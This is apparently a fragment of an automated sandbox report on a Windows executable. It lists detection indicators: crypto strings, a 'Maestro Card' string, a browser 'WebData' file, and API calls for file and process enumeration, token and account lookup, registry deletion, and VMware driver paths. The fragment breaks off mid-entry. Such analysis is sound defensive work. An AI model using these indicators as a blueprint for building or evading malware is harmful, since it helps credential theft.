"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "FindNextFileW" with parameter v1.1.4322 (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00003968)90:Tbaf,file/memory contains long string with (Indicator: "base64"; File: "WebData") Found string "bin.base64" (Indicator: "base64"; File: "00004636.0000121C.35634271.00400000.wprm") Found string "Maestro Card" (Indicator: "aes"; File: "00004636.0000121C.35634271.00400000.wprm") Found string "System.Security.Cryptography.TripleDESCryptoServiceProvider" (Indicator: "System.Security.Cryptography"; File: "00004636.0000121C.35634271.00400000.wprm") Found string "System.Security.Cryptography.TripleDESCryptoServiceProvider" (Indicator: "tripledescryptoserviceprovider"; File: "00004636.0000121C.35634271.00400000.wprm") Found string "CreateDecryptor" (Indicator: "createdecryptor"; File: "00004636.0000121C.35634271.00400000.wprm") Found string "System.Security.Cryptography.HMACSHA1" (Indicator: "System.Security.Cryptography"; File: "00004636.0000121C.35634271.00400000.wprm") Found string "System.Security.Cryptography.RijndaelManaged" (Indicator: "rijndael"; File: "00004636.0000121C.35634271.00400000.wprm") Found string "System.Security.Cryptography.RijndaelManaged" (Indicator: "Rijndaelmanaged"; File: "00004636.0000121C.35634271.00400000.wprm") Found string "System.Security.Cryptography.RijndaelManaged" (Indicator: "System.Security.Cryptography"; File: "00004636.0000121C.35634271.00400000.wprm") Found string "aphy.TripleDESCryptoServiceProvider" (Indicator: "tripledescryptoserviceprovider"; File: "00004636.0000121C.35638715.00401000.wprm") Found string "`DaEs" (Indicator: "aes"; Source: "00000000-00001292.00000000.72000.00006000.00000080.mdmp, 00000000-00001828.00000002.75899.00007000.00000080.mdmp, 00000000-00002220.00000001.70568.400AA000.00000080.mdmp, 00000000-00002896.00000002.76239.00085000.00000080.mdmp, 00000000-00002944.00000001.74081.0035D000.00000080.mdmp, 00000000-00002972.00000000.72622.00172000.00000080.mdmp, 00000000-00003376.00000001.72692.40022000.00000080.mdmp, 00000000-00004204.00000002.75653.00023000.00000080.mdmp, 00000000-00004504.00000002.76335.00189000.00000080.mdmp, 00000000-00004600.00000002.73971.00015000.00000080.mdmp") Found string "base64" (Indicator: "base64"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp") file/memory contains long string with (Indicator: "aes"; Source: "00000000-00002944.00000001.74081.002A0000.00000004.mdmp, 00000000-00002944.00000002.76003.002A0000.00000004.mdmp") file/memory contains long string with (Indicator: "aes"; Source: "00000000-00002944.00000001.74081.00F20000.00000004.mdmp, 00000000-00002944.00000002.76003.00F20000.00000004.mdmp") file/memory contains long string with (Indicator: "aes128"; Source: "00000000-00002944.00000001.74081.00F20000.00000004.mdmp, 00000000-00002944.00000002.76003.00F20000.00000004.mdmp") file/memory contains long string with (Indicator: "aes"; Source: "00000000-00002944.00000002.76003.02390000.00000004.mdmp") file/memory contains long string with (Indicator: "aes128"; Source: "00000000-00002944.00000002.76003.02390000.00000004.mdmp")91:T9a0,Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "InternetFindNextFileA" (Indicator: "FindNextFile"; File: "00004636.0000121C.35638715.00401000.wprm") Found reference to API "FtpFindFirstFileA" (Indicator: "FindFirstFile"; File: "00004636.0000121C.35638715.00401000.wprm") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "FindFirstFile failed" (Indicator: "FindFirstFile"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "FindNextFile failed in %ls with filespec %ls, hr=0x%08x" (Indicator: "FindNextFile"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "FindNextFile failed in %ls with filespec %ls" (Indicator: "FindNextFile"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "FindFirstFileCaseSensitive(lpstrFilePath, pFindData, lpstrFileSpec)" (Indicator: "FindFirstFile"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "FindNextFileW(pFindData)" (Indicator: "FindNextFile"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "FindFirstFile(%s) returned nothing" (Indicator: "FindFirstFile"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp")92:T1093,Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "Process32FirstW" (Indicator: "Process32First"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "Process32NextW" (Indicator: "Process32Next"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001292.00000002.75845.00001000.00000020.mdmp, 00000000-00001828.00000001.73975.00001000.00000020.mdmp, 00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp, 00000000-00004600.00000001.72048.00001000.00000020.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00001292.00000002.75845.00001000.00000020.mdmp, 00000000-00001828.00000001.73975.00001000.00000020.mdmp, 00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp, 00000000-00004600.00000001.72048.00001000.00000020.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00001292.00000002.75845.00001000.00000020.mdmp, 00000000-00001828.00000001.73975.00001000.00000020.mdmp, 00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp, 00000000-00004600.00000001.72048.00001000.00000020.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00003376.00000000.70935.4001D000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "Thread32First" (Indicator: "Thread32First"; Source: "00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "Thread32Next" (Indicator: "Thread32Next"; Source: "00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "NtQueryInformationProcess" (Indicator: "QueryInformationProcess"; Source: "00000000-00004204.00000000.71804.00001000.00000020.mdmp")93:T4c3,Found reference to API "LsaLookupNames2" (Indicator: "LsaLookupNames"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "LookupAccountNameW" (Indicator: "LookupAccountName"; File: "00000000-00004520.00000001.74685.00051000.00000002.mdmp") Found reference to API "LookupAccountNameW" (Indicator: "LookupAccountName"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "LookupAccountName fails to give SID size for %s, fReturn %d, winerror %d, dwSid %d, dwDomain %d. This key value is ignored." (Indicator: "LookupAccountName"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "LookupAccountName fails for %s, winerror %d. This key value in VssAccessControl is ignored." (Indicator: "LookupAccountName"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "LookupAccountName fails unexpectedly for %s, winerror %d. Account ignored." (Indicator: "LookupAccountName"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp")94:T473,Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001292.00000002.75845.00001000.00000020.mdmp, 00000000-00001828.00000001.73975.00001000.00000020.mdmp, 00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp, 00000000-00004600.00000001.72048.00001000.00000020.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00003376.00000000.70935.4001D000.00000002.mdmp")95:T13af,Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetFileAttributesExW" (Indicator: "GetFileAttributes"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "PathFindFileNameW" (Indicator: "PathFindFileName"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetFileAttributes() failed on:%ls" (Indicator: "GetFileAttributes"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "GetFileSize failed for %ws" (Indicator: "GetFileSize"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "GetFileInformationByHandleEx failed" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp")96:T431,Found reference to API "GetTickCount" (Indicator: "GetTickCount"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetTickCount64" (Indicator: "GetTickCount"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetTickCount" (Indicator: "GetTickCount"; Source: "00000000-00001292.00000002.75845.00001000.00000020.mdmp, 00000000-00001828.00000001.73975.00001000.00000020.mdmp, 00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp, 00000000-00004600.00000001.72048.00001000.00000020.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp")97:T12dc,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetUserNameW" (Indicator: "GetUserName"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "NetGetJoinInformation" (Indicator: "NetGetJoinInformation"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "WTSQueryUserToken" (Indicator: "WTSQueryUserToken"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "WTSQuerySessionInformationW" (Indicator: "WTSQuerySessionInformation"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "LookupAccountSidW" (Indicator: "LookupAccountSid"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "LsaLookupNames2" (Indicator: "LsaLookupNames"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetUserNameExW" (Indicator: "GetUserName"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "LookupAccountNameW" (Indicator: "LookupAccountName"; File: "00000000-00004520.00000001.74685.00051000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "LookupAccountNameW" (Indicator: "LookupAccountName"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "LookupAccountSidW" (Indicator: "LookupAccountSid"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetUserNameW" (Indicator: "GetUserName"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "GetWindowsAccountDomainSid" (Indicator: "GetWindowsAccountDomainSid"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "NtOpenThreadToken" (Indicator: "NtOpenThreadToken"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "NtOpenProcessToken" (Indicator: "NtOpenProcessToken"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "NtOpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; Source: "00000000-00003376.00000000.70935.40001000.00000020.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00003376.00000000.70935.40001000.00000020.mdmp") Found reference to API "OpenProcessToken failed with %d" (Indicator: "OpenProcessToken"; Source: "00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "NtQueryInformationProcess" (Indicator: "NtQueryInformationProcess"; Source: "00000000-00004204.00000000.71804.00001000.00000020.mdmp")98:T88f,Found registry deletion API: "RegDeleteKeyExW" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found registry deletion API: "RegDeleteValueW" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found registry deletion API: "RegDeleteKeyW" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found registry deletion API: "SHDeleteKeyW" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found registry deletion API: "RegDeleteTreeA" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found registry deletion API: "RegDeleteKeyTransactedW" in file "00000000-00004520.00000001.74685.00051000.00000002.mdmp" Found registry deletion API: "RegDeleteValueW" in "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp" Found registry deletion API: "RegDeleteKeyW" in "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp" Found registry deletion API: "RegDeleteKeyExW" in "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp" Found registry deletion API: "SHDeleteKeyW" in "00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp" Found registry deletion API: "NtDeleteValueKey" in "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp" Found registry deletion API: "NtDeleteKey" in "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp" Found registry deletion API: "SHDeleteKey(%p,%s)" in "00000000-00004504.00000000.72490.00001000.00000020.mdmp"99:T577,Found string "OpenProcessToken" (Indicator: "OpenProcess"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found string "OpenProcess" (Indicator: "OpenProcess"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found string "OpenProcessTokenW" (Indicator: "OpenProcess"; Source: "00000000-00003968-00000C2B-62350948") Found string "OpenProcessW" (Indicator: "OpenProcess"; Source: "00000000-00001268-00000C2B-95828820") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found string "NtOpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found string "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found string "OpenProcessToken failed with %d" (Indicator: "OpenProcess"; Source: "00000000-00004204.00000000.71804.00001000.00000020.mdmp")9a:T46e,Observed import api "OpenProcess" which can be "used to open a process handle" [Source: chrmstp.exe] Observed import api "OpenProcess" which can be "used to open a process handle" [Source: AcroRd32.exe] Observed import api "OpenProcess" which can be "used to open a process handle" [Source: elevation_service.exe] Observed import api "OpenProcess" which can be "used to open a process handle" [Source: wmpnetwk.exe] Observed import api "OpenProcess" which can be "used to open a process handle" [Source: 7zG.exe] Observed import api "OpenProcess" which can be "used to open a process handle" [Source: dwtrig20.exe] Observed import api "OpenProcess" which can be "used to open a process handle" [Source: setup.exe] Observed import api "OpenProcess" which can be "used to open a process handle" [Source: 7z.exe] Observed import api "OpenProcess" which can be "used to open a process handle" [Source: firefox.exe] Observed import api "OpenProcess" which can be "used to open a process handle" [Source: notification_helper.exe] Observed import api "OpenProcess" which can be "used to open a process handle" [Source: updater.exe]9b:Tf46,Found string "%COMMONPROGRAMFILES%\VMware\Drivers\*" (Indicator: "\drivers\"; Source: "00000000-00004636-00000C2D-132911513118") Found string "%COMMONPROGRAMFILES%\VMware\Drivers\audio\*" (Indicator: "\drivers\"; Source: "00000000-00004636-00000C2D-132924585510") Found string "%COMMONPROGRAMFILES%\VMware\Drivers\audio\Win7\*" (Indicator: "\drivers\"; Source: "00000000-00004636-00000C2D-132941259416") Found string "%COMMONPROGRAMFILES%\VMware\Drivers\memctl\*" (Indicator: "\drivers\"; Source: "00000000-00004636-00000C2D-133286356996") Found string "%COMMONPROGRAMFILES%\VMware\Drivers\memctl\Win7\*" (Indicator: "\drivers\"; Source: "00000000-00004636-00000C2D-133299514212") Found string "%COMMONPROGRAMFILES%\VMware\Drivers\mouse\*" (Indicator: "\drivers\"; Source: "00000000-00004636-00000C2D-133363700862") Found string "%COMMONPROGRAMFILES%\VMware\Drivers\mouse\Win7\*" (Indicator: "\drivers\"; Source: "00000000-00004636-00000C2D-133376317332") Found string "%COMMONPROGRAMFILES%\VMware\Drivers\pvscsi\*" (Indicator: "\drivers\"; Source: "00000000-00004636-00000C2D-133457860608") Found string "%COMMONPROGRAMFILES%\VMware\Drivers\pvscsi\Win7\*" (Indicator: "\drivers\"; Source: "00000000-00004636-00000C2D-133471433298") Found string "%COMMONPROGRAMFILES%\VMware\Drivers\video_wddm\*" (Indicator: "\drivers\"; Source: "00000000-00004636-00000C2D-133528609092") Found string "%COMMONPROGRAMFILES%\VMware\Drivers\video_wddm\Vista\*" (Indicator: "\drivers\"; Source: "00000000-00004636-00000C2D-133544232082") Found string "%COMMONPROGRAMFILES%\VMware\Drivers\vmci\*" (Indicator: "\drivers\"; Source: "00000000-00004636-00000C2D-134846708166") Found string "%COMMONPROGRAMFILES%\VMware\Drivers\vmci\device\*" (Indicator: "\Device\"; Source: "00000000-00004636-00000C2D-134860945488") Found string "%COMMONPROGRAMFILES%\VMware\Drivers\vmci\device\*" (Indicator: "\drivers\"; Source: "00000000-00004636-00000C2D-134860945488") Found string "%COMMONPROGRAMFILES%\VMware\Drivers\vmci\device\Win7\*" (Indicator: "\Device\"; Source: "00000000-00004636-00000C2D-134884014284") Found string "%COMMONPROGRAMFILES%\VMware\Drivers\vmci\device\Win7\*" (Indicator: "\drivers\"; Source: 